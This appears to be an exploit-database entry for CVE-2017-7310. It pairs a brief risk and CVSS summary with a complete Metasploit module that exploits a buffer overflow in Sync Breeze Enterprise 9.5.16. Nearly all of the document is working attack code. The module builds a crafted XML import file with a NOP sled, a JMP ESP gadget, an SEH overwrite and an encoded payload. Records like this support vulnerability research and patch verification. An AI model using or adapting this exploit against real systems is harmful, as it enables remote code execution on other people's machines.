Sync Breeze Enterprise 9.5.16 Import Command Buffer Overflow

2018.01.24
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow', 'Description' => %q( This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16 by using the import command option to import a specially crafted xml file. ), 'License' => MSF_LICENSE, 'Author' => [ 'Daniel Teixeira' ], 'References' => [ [ 'CVE', '2017-7310' ], [ 'EDB', '41773' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => 'true' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27", 'StackAdjustment' => -3500 }, 'Targets' => [ ['Windows Universal', { 'Ret' => 0x10015FFE } ] ], 'Privileged' => false, 'DisclosureDate' => 'Mar 29 2017', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The file name.', 'msf.xml']) ]) end def exploit jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76] jmp = "\xFF\xE0" # JMP ESP buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'" buffer << "\x90" * 1536 buffer << jmpesp buffer << "\x90" * 18 buffer << esp buffer << jmp buffer << "\x90" * 68 buffer << generate_seh_record(target.ret) buffer << "\x90" * 10 buffer << payload.encoded buffer << "\x90" * 5000 buffer << "\n</classify>" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(buffer) end end


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